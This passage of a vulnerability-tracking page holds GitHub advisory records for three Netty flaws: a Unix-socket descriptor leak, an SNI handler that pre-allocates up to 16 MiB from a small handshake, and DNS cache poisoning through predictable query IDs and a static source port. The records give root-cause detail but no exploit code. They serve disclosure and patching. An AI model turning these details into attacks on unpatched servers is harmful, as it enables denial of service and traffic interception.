"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-kqueue"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-kqueue"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-transport-native-epoll"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45536"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-772"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:01:33Z",
"nvd_published_at": "2026-06-12T15:16:27Z",
"severity": "MODERATE"
},
"details": "netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) \u2014 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg-\u003ecmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking \u2192 EAGAIN \u2192 Java maps to 0 \u2192 read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default).",
"id": "GHSA-w573-9ffj-6ff9",
"modified": "2026-06-12T19:29:26Z",
"published": "2026-06-08T23:01:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w573-9ffj-6ff9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45536"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty: Unix-socket fd receive leaks descriptors when peer sends two at once"
}
GHSA-X4GW-5CX5-PGMH
Vulnerability from github – Published: 2026-06-08 23:01 – Updated: 2026-06-12 19:29SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates ctx.alloc().buffer(handshakeLength) (line 161). The guard at line 140 is handshakeLength > maxClientHelloLength && maxClientHelloLength != 0, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45416"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:01:04Z",
"nvd_published_at": "2026-06-12T15:16:26Z",
"severity": "HIGH"
},
"details": "SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard at line 140 is `handshakeLength \u003e maxClientHelloLength \u0026\u0026 maxClientHelloLength != 0`, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes.",
"id": "GHSA-x4gw-5cx5-pgmh",
"modified": "2026-06-12T19:29:22Z",
"published": "2026-06-08T23:01:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-x4gw-5cx5-pgmh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45416"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: SNI handler pre-allocates up to 16 MiB from nine attacker bytes"
}
GHSA-XMV7-R254-6Q78
Vulnerability from github – Published: 2026-06-08 23:02 – Updated: 2026-06-12 19:29Summary
Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack).
Details
Two factors contribute to this vulnerability in io.netty.resolver.dns:
- Predictable Query IDs: DnsQueryIdSpace manages 16-bit transaction IDs in buckets of 16,384 IDs. It initializes only the first bucket. When an ID is returned, it is pushed back into the bucket at a random index generated by java.util.concurrent.ThreadLocalRandom:
Random random = ThreadLocalRandom.current();
int insertionPosition = random.nextInt(count + 1);
Because ThreadLocalRandom is a predictable LCG and the resolver operates within a single bucket, the sequence of IDs is predictable once the PRNG state is mathematically recovered.
- Default Static Source Port:
DnsNameResolverBuilderdefaults to achannelStrategyofChannelPerResolver. This binds the DatagramChannel once, resulting in a static source port for all subsequent queries.
Combined, a static source port and predictable transaction IDs reduces the entropy required to secure DNS resolution against spoofing.
Impact
DNS Cache Poisoning. Downstream applications using the default Netty DNS resolver may connect to malicious IPs, leading to traffic interception or MitM attacks.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-resolver-dns"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-resolver-dns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45673"
],
"database_specific": {
"cwe_ids": [
"CWE-330",
"CWE-340"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:02:05Z",
"nvd_published_at": "2026-06-12T15:16:27Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty\u0027s DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack).\n\n### Details\nTwo factors contribute to this vulnerability in io.netty.resolver.dns:\n- Predictable Query IDs: `DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It initializes only the first bucket. When an ID is returned, it is pushed back into the bucket at a random index generated by java.util.concurrent.ThreadLocalRandom:\n\n```java\nRandom random = ThreadLocalRandom.current();\nint insertionPosition = random.nextInt(count + 1);\n```\n\nBecause ThreadLocalRandom is a predictable LCG and the resolver operates within a single bucket, the sequence of IDs is predictable once the PRNG state is mathematically recovered.\n\n- Default Static Source Port: `DnsNameResolverBuilder` defaults to a `channelStrategy` of `ChannelPerResolver`. This binds the DatagramChannel once, resulting in a static source port for all subsequent queries.\n\nCombined, a static source port and predictable transaction IDs reduces the entropy required to secure DNS resolution against spoofing.\n\n### Impact\nDNS Cache Poisoning. Downstream applications using the default Netty DNS resolver may connect to malicious IPs, leading to traffic interception or MitM attacks.",
"id": "GHSA-xmv7-r254-6q78",
"modified": "2026-06-12T19:29:30Z",
"published": "2026-06-08T23:02:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xmv7-r254-6q78"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45673"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: DNS Cache Poisoning due to Predictable PRNG and Default Static Source Port"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.